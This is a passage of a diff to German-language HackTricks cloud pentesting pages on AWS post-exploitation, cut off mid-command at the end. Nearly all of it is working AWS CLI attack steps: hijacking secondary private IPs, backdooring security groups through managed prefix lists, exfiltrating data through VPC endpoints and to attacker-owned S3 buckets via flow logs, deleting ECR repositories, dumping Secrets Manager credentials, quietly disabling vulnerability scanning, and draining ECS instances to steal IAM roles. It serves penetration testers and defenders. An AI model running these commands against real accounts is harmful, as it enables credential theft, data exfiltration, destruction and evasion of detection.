+- Berechtigungen: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` auf dem victim ENI ARN, und `ec2:AssignPrivateIpAddresses` auf dem attacker ENI ARN.
+- Beide ENIs müssen im selben subnet/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre kann nicht unassigned werden).
+
+Variablen:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG auf einem Zielservice, der nur $HIJACK_IP erlaubt
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Schritte:
+1) Wähle eine sekundäre IP aus der victim ENI
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Stelle sicher, dass der geschützte Host nur diese IP zulässt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Ausgangszustand: Von der Angreifer-Instanz sollte eine Anfrage an PROTECTED_HOST ohne gefälschte Quelladresse fehlschlagen (z. B. über SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Die sekundäre IP von der betroffenen ENI entfernen
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Weisen Sie der Angreifer-ENI dieselbe IP zu (bei AWS CLI v1 `--allow-reassignment` hinzufügen)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Überprüfen, ob die Eigentümerschaft verschoben wurde
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Von der Angreifer-Instanz, source-bind auf die hijacked IP, um den geschützten Host zu erreichen (Stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit `ip addr add $HIJACK_IP/<mask> dev eth0` hinzu)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Auswirkungen
+- IP allowlists umgehen und vertrauenswürdige Hosts innerhalb der VPC imitieren, indem secondary private IPs zwischen ENIs im gleichen subnet/AZ verschoben werden.
+- Auf interne Dienste zugreifen, die den Zugang anhand bestimmter source IPs regeln, und dadurch laterale Bewegung sowie Datenzugriff ermöglichen.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+Missbrauch von customer-managed Prefix Lists, um einen unauffälligen Zugangsweg zu schaffen. Wenn eine Security Group (SG)-Regel auf eine managed Prefix List verweist, kann jede Person mit der Berechtigung, diese Liste zu ändern, stumm vom Angreifer kontrollierte CIDRs hinzufügen. Jede SG (und potenziell Network ACL oder VPC endpoint), die die Liste referenziert, erlaubt die neuen Bereiche sofort, ohne dass an der SG selbst etwas sichtbar geändert wird.
+
+## Auswirkungen
+- Sofortige Erweiterung der erlaubten IP-Bereiche für alle SGs, die die Prefix List referenzieren, wodurch Änderungskontrollen umgangen werden, die nur SG-Änderungen überwachen.
+- Ermöglicht persistente ingress/egress Backdoors: das bösartige CIDR in der Prefix List verbergen, während die SG-Regel unverändert erscheint.
+
+## Voraussetzungen
+- IAM-Berechtigungen:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (um die angehängten SGs zu identifizieren)
+- Optional: `ec2:CreateManagedPrefixList` falls zum Testen eine neue Liste erstellt werden soll.
+- Umgebung: Mindestens eine SG-Regel, die auf die Ziel customer-managed Prefix List verweist.
+
+## Variablen
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Angriffsschritte
+
+1) **Enumeriere potenzielle prefix lists und deren Konsumenten**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Verwende `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`, um zu bestätigen, welche SG-Regeln von der prefix list abhängen.
+
+2) **Füge attacker CIDR zur prefix list hinzu**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Validierung der Propagierung zu security groups**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Der Datenverkehr von `$ENTRY_CIDR` ist jetzt überall erlaubt, wo die prefix list referenziert wird (häufig in ausgehenden Regeln von Egress-Proxies oder in eingehenden Regeln für gemeinsam genutzte Dienste).
+
+## Nachweise
+- `get-managed-prefix-list-entries` zeigt das Angreifer-CIDR und die Beschreibung an.
+- `describe-security-group-rules` zeigt weiterhin die ursprüngliche SG-Regel, die auf die prefix list verweist (keine SG-Änderung protokolliert), dennoch gelingt der Datenverkehr vom neuen CIDR.
+
+## Bereinigung
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – Egress Bypass von isolierten Subnetzen über VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Diese Technik missbraucht VPC Endpoints, um Exfiltrationskanäle aus Subnetzen ohne Internet Gateways oder NAT zu erstellen. Gateway endpoints (z. B. S3) fügen prefix‑list‑Routen in die Subnetz‑Routentabellen ein; Interface endpoints (z. B. execute-api, secretsmanager, ssm, etc.) erzeugen erreichbare ENIs mit privaten IPs, die durch security groups geschützt sind. Mit minimalen VPC/EC2‑Berechtigungen kann ein Angreifer kontrollierten Egress ermöglichen, der nicht das öffentliche Internet durchläuft.
+
+> Prereqs: vorhandenes VPC und private Subnetze (no IGW/NAT). Du benötigst Berechtigungen, um VPC endpoints zu erstellen und, für Option B, eine security group, die an die endpoint ENIs angehängt werden kann.
+
+## Option A – S3 Gateway VPC Endpoint
+
+**Variablen**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Erstelle eine permissive Endpoint-Policy-Datei (optional). Speichere sie als `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Erstelle den S3 Gateway-Endpunkt (fügt den ausgewählten Routentabellen eine S3 prefix-list-Route hinzu):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Zu erfassende Hinweise:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` zeigt eine Route zur AWS S3 prefix list (z. B. `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Von einer instance in diesen subnets (mit IAM perms) kannst du exfil via S3 ohne Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Option B – Interface VPC Endpoint für API Gateway (execute-api)
+
+**Variablen**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Erstelle den Interface Endpoint und hänge die SG an:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Zu erfassende Nachweise:
+- `aws ec2 describe-vpc-endpoints` zeigt den Endpoint im Zustand `available` mit `NetworkInterfaceIds` (ENIs in Ihren Subnetzen).
+- Instanzen in diesen Subnetzen können Private API Gateway Endpunkte über diese VPCE ENIs erreichen (kein Internet‑Pfad erforderlich).
+
+## Auswirkungen
+- Umgeht Perimeter egress controls, indem AWS‑managed private paths zu AWS services genutzt werden.
+- Ermöglicht data exfiltration aus isolierten Subnetzen (z. B. Schreiben nach S3; Aufrufen von Private API Gateway; Zugriff auf Secrets Manager/SSM/STS usw.) ohne IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+Missbrauch von `ec2:CreateFlowLogs`, um VPC-, Subnetz- oder ENI-Flow-Logs direkt in einen vom attacker kontrollierten S3-Bucket zu exportieren. Sobald die delivery role so konfiguriert ist, dass sie in den externen Bucket schreiben kann, werden alle Verbindungen, die auf der überwachten Ressource gesehen werden, aus dem victim account gestreamt.
+
+## Requirements
+- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
+- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
+- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
+
+## Attack Walkthrough
+
+1) **Attacker** bereitet eine S3-Bucket-Policy vor (im attacker account), die dem VPC Flow Logs delivery service erlaubt, Objekte zu schreiben. Ersetze Platzhalter bevor du sie anwendest:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Vom attacker account aus anwenden:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) erstellt die flow logs, die auf den attacker bucket abzielen:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+Innerhalb von Minuten erscheinen flow log files im attacker bucket, die Verbindungen für alle ENIs im überwachten VPC/subnet enthalten.
+
+## Nachweis
+
+Beispielhafte flow log records, die in den attacker bucket geschrieben wurden:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Beweis für Bucket listing:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Auswirkungen
+- Kontinuierliche network metadata exfiltration (source/destination IPs, ports, protocols) für das überwachte VPC/subnet/ENI.
+- Ermöglicht Traffic-Analyse, Identifizierung sensibler Dienste und potenzielles Hunting nach security group misconfigurations von außerhalb des Opferkontos.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Für weitere Informationen siehe
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Anmelden, Pull & Push
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Ein Angreifer mit einer dieser Berechtigungen kann **eine Lebenszyklusrichtlinie erstellen oder ändern, um alle Bilder im Repository zu löschen** und dann **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Containerbilder führen.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,206 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Für weitere Informationen siehe
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Nachdem Sie die Images heruntergeladen haben, sollten Sie **diese auf sensible Informationen prüfen**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Ein Angreifer mit einer dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Das würde zum Verlust aller im Repository gespeicherten Container-Images führen.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate Upstream-Registry-Zugangsdaten aus ECR Pull‑Through Cache (PTC)
+
+Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Zugangsdaten in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren manchmal ECR-Administratoren weitreichenden Lesezugriff auf Secrets Manager, wodurch credential exfiltration und Wiederverwendung außerhalb von AWS möglich werden.
+
+Anforderungen
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Auflisten möglicher PTC-Secrets
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Dump gefundener secrets und parse gängiger Felder
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Optional: leaked creds gegen das upstream (read‑only login) validieren
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Auswirkung
+- Das Auslesen dieser Secrets Manager-Einträge liefert wiederverwendbare upstream Registry-Anmeldeinformationen (username/password oder token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder — je nach Upstream-Berechtigungen — auf zusätzliche Repositories zuzugreifen.
+
+
+### Registry-weite Tarnung: Scans deaktivieren oder herabstufen über `ecr:PutRegistryScanningConfiguration`
+
+Ein Angreifer mit registry-weiten ECR-Berechtigungen kann stillschweigend das automatische vulnerability scanning für ALLE Repositories reduzieren oder deaktivieren, indem er die registry scanning configuration auf BASIC setzt, ohne scan-on-push rules. Das verhindert, dass neue Image-Pushes automatisch gescannt werden, und verschleiert verwundbare oder bösartige Images.
+
+Voraussetzungen
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Registry-weite Herabstufung auf manuell (keine automatischen Scans)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Test mit einem repo und einem image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Optional: weiter herabsetzen auf Repo-Ebene
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Auswirkung
+- Neue Image-Pushes in der Registry werden nicht automatisch gescannt, wodurch die Sichtbarkeit von verwundbarem oder bösartigem Inhalt reduziert und die Erkennung verzögert wird, bis ein manueller Scan gestartet wird.
+
+
+### Registry‑weites Downgrade der Scan-Engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Verringere die Qualität der Schwachstellenerkennung für die gesamte Registry, indem die BASIC Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umgestellt wird. Das deaktiviert das Scannen nicht, kann aber die Ergebnisse/Abdeckung erheblich verändern. Kombiniere dies mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln, um Scans ausschließlich manuell durchzuführen.
+
+Voraussetzungen
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Auswirkung
+- Registry-Einstellung `BASIC_SCAN_TYPE_VERSION` wird auf `CLAIR` gesetzt, sodass nachfolgende BASIC-Scans mit der herabgestuften Engine ausgeführt werden. CloudTrail protokolliert den `PutAccountSetting` API-Aufruf.
+
+Schritte
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM-Rollen
-
-In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\
-Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen, wie Sie diese Anmeldeinformationen erhalten können, siehe:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
-
-### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
-
-Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** können, können Sie **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**.
-
-#### Container auf dem aktuellen Host ausführen
-
-Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt**, möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-Die gleiche Technik kann durch **Deregistrierung der EC2-Instanz aus dem Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Eine letzte Technik, um die erneute Ausführung von Aufgaben zu erzwingen, besteht darin, ECS anzuzeigen, dass der **Task oder Container gestoppt wurde**. Es gibt 3 potenzielle APIs, um dies zu tun:
-```bash
-# Needs: ecs:SubmitTaskStateChange
